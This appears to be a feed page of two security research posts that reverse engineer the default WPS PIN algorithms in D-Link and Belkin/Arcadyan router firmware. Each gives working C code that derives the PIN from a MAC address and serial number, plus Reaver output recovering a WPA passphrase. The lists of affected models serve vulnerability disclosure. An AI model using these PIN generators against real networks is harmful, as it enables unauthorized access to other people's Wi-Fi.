drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

Reversing D-Link’s WPS Pin Algorithm

$
0
0

While perusing the latest firmware for D-Link’s DIR-810L 80211ac router, I found an interesting bit of code in sbin/ncc, a binary which provides back-end services used by many other processes on the device, including the HTTP and UPnP servers:

Call to sub_4D56F8 from getWPSPinCode

Call to sub_4D56F8 from getWPSPinCode

I first began examining this particular piece of code with the hopes of controlling part of the format string that is passed to __system. However, this data proved not to be user controllable, as the value placed in the format string is the default WPS pin for the router.

The default WPS pin itself is retrieved via a call to sub_4D56F8. Since the WPS pin is typically programmed into NVRAM at the factory, one might expect sub_4D56F8 to simply be performing some NVRAM queries, but that is not the case:

The beginning of sub_4D56F8

The beginning of sub_4D56F8

This code isn’t retrieving a WPS pin at all, but instead is grabbing the router’s WAN MAC address. The MAC address is then split into its OUI and NIC components, and a tedious set of multiplications, xors, and shifts ensues (full disassembly listing here):

Break out the MAC and start munging the NIC

Break out the MAC and start munging the NIC

While the math being performed is not complicated, determining the original programmer’s intent is not necessarily straightforward due to the assembly generated by the compiler. Take the following instruction sequence for example:

li $v0, 0x38E38E39
multu $a3, $v0
...
mfhi $v0
srl $v0, 1

Directly converted into C, this reads:

v0 = ((a3 * 0x38E38E39) >> 32) >> 1;

Which is just a fancy way of dividing by 9:

v0 = a3 / 9;

Likewise, most multiplication and modulus operations are also performed by various sequences of shifts, additions, and subtractions. The multu assembly instruction is only used for the above example where the high 32 bits of a product are needed, and there is nary a divu in sight.

However, after translating the entire sub_4D56F8 disassembly listing into a more palatable format, it’s obvious that this code is using a simple algorithm to generate the default WPS pin entirely from the NIC portion of the device’s WAN MAC address:

unsigned int generate_default_pin(char *buf)
{
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;

    /* Get a pointer to the WAN MAC address */
    mac = lockAndGetInfo_log()->wan_mac_address;

    /* 
     * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);

    /* 
     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);

    /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));
 
    /*
     * The largest possible remainder for any value divided by 10,000,000
     * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
     */
     pin = pin % 10000000;
 
    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
    {
        /*
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }
 
    /*
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));

    sprintf(buf, "%08d", pin);
    return pin;
}

Since the BSSID is only off-by-one from the WAN MAC, we can easily calculate any DIR-810L’s WPS pin just from a passive packet capture:

$ sudo airodump-ng mon0 -c 4

 CH  4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 
                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                    
C0:A0:BB:EF:B3:D6  -13   0        6        0    0   4  54e  WPA2 CCMP   PSK  dlink-B3D6 

$ ./pingen C0:A0:BB:EF:B3:D7   # <--- WAN MAC is BSSID+1
Default Pin: 99767389

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'
[+] WPA PSK: 'hluig79268'
[+] AP SSID: 'dlink-B3D6'

But the DIR-810L isn’t the only device to use this algorithm. In fact, it appears to have been in use for some time, dating all the way back to 2007 when WPS was first introduced. The following is an – I’m sure – incomplete list of affected and unaffected devices:

Confirmed Affected:

  1. DIR-810L
  2. DIR-826L
  3. DIR-632
  4. DHP-1320
  5. DIR-835
  6. DIR-615 revs: B2, C1, E1, E3
  7. DIR-657
  8. DIR-827
  9. DIR-857
  10. DIR-451
  11. DIR-655 revs: A3, A4, B1
  12. DIR-825 revs: A1, B1
  13. DIR-651
  14. DIR-855
  15. DIR-628
  16. DGL-4500
  17. DIR-601 revs: A1, B1
  18. DIR-836L
  19. DIR-808L
  20. DIR-636L
  21. DAP-1350
  22. DAP-1555

Confirmed Unaffected:

  1. DIR-815
  2. DIR-505L
  3. DIR-300
  4. DIR-850L
  5. DIR-412
  6. DIR-600
  7. DIR-685
  8. DIR-817LW
  9. DIR-818LW
  10. DIR-803
  11. DIR-845L
  12. DIR-816L
  13. DIR-860L
  14. DIR-645
  15. DIR-685
  16. DAP-1522

Some affected devices, like the DIR-810L, generate the WPS pin from the WAN MAC; most generate it from the BSSID. A stand-alone tool implementing this algorithm can be found here, and has already been rolled into the latest Reaver Pro.

Reversing Belkin’s WPS Pin Algorithm

$
0
0

After finding D-Link’s WPS algorithm, I was curious to see which vendors might have similar algorithms, so I grabbed some Belkin firmware and started dissecting it. This particular firmware uses the SuperTask! RTOS, and in fact uses the same firmware obfuscation as seen previously on the Linksys WRT120N:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Obfuscated Arcadyan firmware, signature bytes: 0x12010920, see https://github.com/devttys0/wrt120n/deobfuscator
666624        0xA2C00         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 454656 bytes

Being a known obfuscation method, binwalk was able to de-obfuscate and extract the compressed firmware image. The next step was to figure out the code’s load address in order to get a proper disassembly in IDA; if the code is disassembled with the wrong load address, absolute memory references won’t be properly resolved.

Absolute addresses in the code can hint at the load address, such as this loop which zeros out the BSS data section:

BSS zero loop

BSS zero loop

BSS zeroing loops are usually easy to spot, as they will zero out relatively large regions of memory, and are typically encountered very early on in the code.

Here, the code is filling everything from 0x802655F0 to 0x80695574 with zeros, so this must be a valid address range in memory. Further, BSS is commonly located just after all the other code and data sections; in this case, the firmware image we’ve loaded into IDA is 0x2635EB bytes in size, so we would expect the BSS section to begin somewhere after this in memory:

End of ROM

End of ROM

In fact, subtracting the size of the firmware image from the start of the BSS section results in a value suspiciously close to 0x800002000:

0x802655F0 - 0x2635EB = 0x800002005

Setting 0x800002000 as the load address in IDA, we get a rather respectable disassembly:

A reasonable disassembly listing

A reasonable disassembly listing

With a reasonable disassembly, searching for a WPS pin generation algorithm could begin in ernest. When looking for functions related to generating WPS pins, it’s reasonable to assume that they’ll have to, at some point, calculate the WPS pin checksum. It would be useful to begin the search by first identifying the function(s) responsible for calculating the WPS pin checksum.

However, without a symbol table, finding a function conveniently named “wps_checksum” is not likely; luckily, MIPS C compilers tend to generate a predictable set of immediate values when generating the WPS checksum assembly code, a pattern I noticed when reversing D-Link’s WPS pin algorithm. Using an IDAPython script to search for these immediate values greatly simplifies the process of identifying the WPS checksum function:

WPS pin checksum immediate values

WPS pin checksum immediate values

There are only a few functions that call wps_checksum, and one of them contains a reference to a very interesting string:

"GenerateDefaultPin"

“GenerateDefaultPin”

There’s a lot of xoring and shifting going on in the GenerateDefaultPin code, but what is more interesting is what data it is munging. Looking at the values passed to GenerateDefaultPin, we can see that it is given both the router’s MAC address and serial number:

GenerateDefaultPin((char *buf, int unused, char *mac, char *serial);

GenerateDefaultPin(char *buf, int unused, char *mac, char *serial);

MAC addresses are easily gathered by a wireless attacker; serial numbers can be a bit more difficult. Although serial numbers aren’t particularly random, GenerateDefaultPin uses the least significant 4 digits of the serial number, which are unpredictable enough to prevent an external attacker from reliably calculating the WPS pin.

Or, at least that would be the case if the Belkin’s 802.11 probe response packets didn’t include the device’s serial number in its WPS information element:

Belkin probe response packet, captured in Wireshark

Belkin probe response packet, captured in Wireshark

Since WiFi probe request/response packets are not encrypted, an attacker can gather the MAC address (the MAC address used by the algorithm is the LAN MAC) and serial number of a target by sending a single probe request packet to a victim access point.

We just need to reverse the GenerateDefaultPin code to determine how it is using the MAC address and serial number to create a unique WPS pin (download PoC here):

/* Used in the Belkin code to convert an ASCII character to an integer */
int char2int(char c)
{
    char buf[2] = { 0 };

    buf[0] = c;
    return strtol(buf, NULL, 16);
}

/* Generates a standard WPS checksum from a 7 digit pin */
int wps_checksum(int pin)
{
    int div = 0;

    while(pin)
    {
        div += 3 * (pin % 10);
        pin /= 10;
        div += pin % 10;
        pin /= 10;
    }

    return ((10 - div % 10) % 10);
}

/* Munges the MAC and serial numbers to create a WPS pin */
int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0    0
#define NIC_NIBBLE_1    1
#define NIC_NIBBLE_2    2
#define NIC_NIBBLE_3    3

#define SN_DIGIT_0      0
#define SN_DIGIT_1      1
#define SN_DIGIT_2      2
#define SN_DIGIT_3      3

    int sn[4], nic[4];
    int mac_len, serial_len;
    int k1, k2, pin;
    int p1, p2, p3;
    int t1, t2;

    mac_len = strlen(mac);
    serial_len = strlen(serial);

    /* Get the four least significant digits of the serial number */
    sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
    sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
    sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
    sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);

    /* Get the four least significant nibbles of the MAC address */
    nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
    nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
    nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
    nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);

    k1 = (sn[SN_DIGIT_2] + 
          sn[SN_DIGIT_3] +
          nic[NIC_NIBBLE_0] + 
          nic[NIC_NIBBLE_1]) % 16;

    k2 = (sn[SN_DIGIT_0] +
          sn[SN_DIGIT_1] +
          nic[NIC_NIBBLE_3] +
          nic[NIC_NIBBLE_2]) % 16;

    pin = k1 ^ sn[SN_DIGIT_1];
    
    t1 = k1 ^ sn[SN_DIGIT_0];
    t2 = k2 ^ nic[NIC_NIBBLE_1];
    
    p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
    p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
    p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];
    
    k1 = k1 ^ k2;

    pin = (pin ^ k1) * 16;
    pin = (pin + t1) * 16;
    pin = (pin + p1) * 16;
    pin = (pin + t2) * 16;
    pin = (pin + p2) * 16;
    pin = (pin + k1) * 16;
    pin += p3;
    pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
    
    return (pin * 10) + wps_checksum(pin);
}

Of the 24 Belkin routers tested, 80% of them were found to be using this algorithm for their default WPS pin:

Confirmed vulnerable:

  • F9K1001v4
  • F9K1001v5
  • F9K1002v1
  • F9K1002v2
  • F9K1002v5
  • F9K1103v1
  • F9K1112v1
  • F9K1113v1
  • F9K1105v1
  • F6D4230-4v2
  • F6D4230-4v3
  • F7D2301v1
  • F7D1301v1
  • F5D7234-4v3
  • F5D7234-4v4
  • F5D7234-4v5
  • F5D8233-4v1
  • F5D8233-4v3
  • F5D9231-4v1

Confirmed not vulnerable:

  • F9K1001v1
  • F9K1105v2
  • F6D4230-4v1
  • F5D9231-4v2
  • F5D8233-4v4

It’s not entirely fair to pick on Belkin though, as this appears to be an issue specific to Arcadyan, who is the ODM for many Belkin products, as well as others. This means that there are additional devices and vendors affected besides those listed above.

Viewing all 33 articles
Browse latest View live